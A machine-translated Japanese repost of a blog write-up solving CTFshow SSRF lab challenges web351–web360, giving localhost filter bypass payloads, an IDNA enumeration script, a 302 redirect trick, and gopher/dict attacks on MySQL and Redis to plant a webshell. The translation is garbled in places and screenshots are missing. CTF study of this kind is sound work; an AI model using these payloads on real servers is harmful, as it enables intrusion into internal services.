CTFshow-WEB紹介-SSRF

序文

SSRFの学習を開始し、記事を
学習します。SSRF学習レコード(fqが必要)
説明なしで、ペイロードを比較的単純なトピックに直接配置するだけです。

web351

url=http://127.0.0.1/flag.php

web352

スキームはhttpまたはhttpsである必要がありますが、127.0.0.1またはlocalhostを持つことはできません。バイパス技術はたくさんありますが、一般的に使用されるものをいくつか示します。

  • ベースバイパス url=http://0x7F000001/flag.php
  • 0.0.0.0バイパス url=http://0.0.0.0/flag.php
  • ショートラベルがバイパスされましたが、この質問のテストに失敗しました。ショートラベルの問題でしょうか。
  • ipv6は[:: 1]をバイパスし、この質問も機能しません。
  • バイパスするピリオドを使用してください:、url=http://127。0。0。1/flag.phpこの質問も機能しません。
  • 特別アドレス0 、、、、などurl=http://0/flag.phpがありurl=http://127.1/flag.phpますurl=http://127.0000000000000.001/flag.php
  • 実際、ここではdns rebindingも使用できますが、この質問は機能しないようです。DNSに問題があるかどうかわかりません。
  • もっとあるかもしれません、それについて考えて、それから補ってください。

web353

同上。

web354

禁止に0と1の両方を与えた後、どうしたらよいかわかりません。MasterYuのブログを読みました。この質問の本来の目的は、Unicodeを置き換えることです。

for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        #print(res)
        if("-") in res:
            continue
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

IDNA(アプリケーションでのドメイン名の国際化)アプリケーション国際化ドメイン名
IDNA ASCII文字は、ASCII文字以外のメカニズムへの標準的なアプローチの一種であり、Unicodeから文字を抽出し、非ASCII文字で表現を使用できるようにします。

国際化ドメイン名(IDN)は、1996年12月にMartinDusitによって最初に提案されました。1998年には、シンガポール国立大学の教授陳Dingweiの指導の下、タンJuay
グァンウンとリョンコック
ヨンジュンは練習にそれを置きます。さまざまな提案について多くの議論と比較を行った後、アプリケーションの国際化ドメイン名(IDNA)が公式の標準として採用され、多くのトップレベルドメイン名で使用されました。IDNAでは、「国際化ドメイン名」とは、IDNAを10進数のASCIIに正常に変換できるドメイン名を具体的に指します。

しかし、この質問は良くありません、それは非常に迷惑なので、私は自分のドメイン名を使用し、使用するために彼に127.0.0.1に解決させます。
または、Master Yu:からこれをhttp://sudo.cc/使用します。これは127.0.0.1に解決されるドメイン名であり、直接使用するだけです。

web355

この制限が引き上げられました:、if ((strlen($host) <= 5)) { 127.1は間違いなく可能です。0も可能です。

url=http://0/flag.php

web356

url=http://0/flag.php

0はLinuxシステムでは127.0.0.1として解析され、Windowsでは0.0.0.0として解析されます。

web357

if($x['scheme']==='http'||$x['scheme']==='https'){
    
    
    $ip = gethostbyname($x['host']);
    echo '</br>'.$ip.'</br>';
    if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    
    
        die('ip!');
    }


    echo file_get_contents($_POST['url']);
}

302ジャンプまたはdns再バインドを使用できます。302ジャンプはマスターYuから新しい姿勢を学習し、彼のvpsに1つ書き込みます。

<?php
header("Location:http://127.0.0.1/flag.php"); 

その後http://xxx.xxx.xxx.xxx/xxx.php訪問して学ぶことができます。

これをdns再バインドに使用します:dns再バインド

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    
    
    echo file_get_contents($url);
}

URLはhttp:// ctfで始まり、showで終わる必要があります。
ショーで終わるほうが簡単です#showそれでも大丈夫?a=showです。
http:// ctf。で開始する場合は、1を追加@127.0.0.1することでバイパスできます。これにより、ftp:を考慮してparse_urlで解析されるホストは127.0.0.1にftp://user[:pass]@ip[:port]/pathなり、前のctf。がユーザーに解析されます。

url=http://[email protected]/flag.php#show

web359

mysqlを再生すると、特定の原則も序文の記事に記載されていますが、それでも手動で実行するのは非常に面倒です。mysqlステートメントをローカルで実行し、wiresharkがパッケージをキャプチャしてから、gopherを構築する必要があります。 。:もっと厄介はここでは、直接SSRFの普遍的なツールを使用
Gopherusは
python2を使用して、特定の操作はまた、githubの上で非常に明確で、かつ-helpも確認することができます。
この質問のssrfポイントはここにあります:
ここに画像の説明を挿入

returlはssrfのポイントですが、この質問はエコーされないので、シェルを記述します。
ここに画像の説明を挿入
結果の後に_をエンコードします。
ここに画像の説明を挿入
シェルが書き込まれ、RCEがフラグを見つけることができます。

web360

ssrfはredisにヒットします。基本的に、4種類の攻撃方法です。

  • ウェブシェルを書く
  • ssh公開鍵を書く
  • コントラブスケジュールタスクリバースシェルを作成する
  • マスタースレーブレプリケーション

この質問は、シェルでなければならないポートを検出し、6379が存在するかどうかを確認するために最初に使用する辞書対象のRedisのは、そのポートを変更した場合、検出するためのdictのプロトコルを使用します。。のため
ここに画像の説明を挿入
のRedisの具体的な原理は、この記事を参照してください。
分析のRedis中国でのSSRFの
使用gopherusツールを盲目的に使用しないでください。まず、原則を理解してください。
この質問では、慣れるためにgopherusツールは必要ありません。
認証するかどうかを見てみ
ここに画像の説明を挿入
ましょうこの質問は必要ありません。必要な場合は、bpを使用して展開してください。

url=dict://127.0.0.1:6379/auth:xxx

使用:スペースを置き換える。
dir、つまりローカルデータベースストレージディレクトリを設定します。writehorses、
ここに画像の説明を挿入
エスケープまたはフィルタリングが行われる可能性があるため、通常は16進数で正常に書き込むことができます。
ここに画像の説明を挿入
設定ファイル:
ここに画像の説明を挿入
保存:
ここに画像の説明を挿入
再訪、書き込み成功:
ここに画像の説明を挿入
フラグを探すだけ。
シェルに何も書き込めない場合は、マスタースレーブレプリケーションを試す必要があります。

おすすめ

転載: blog.csdn.net/rfrder/article/details/113853929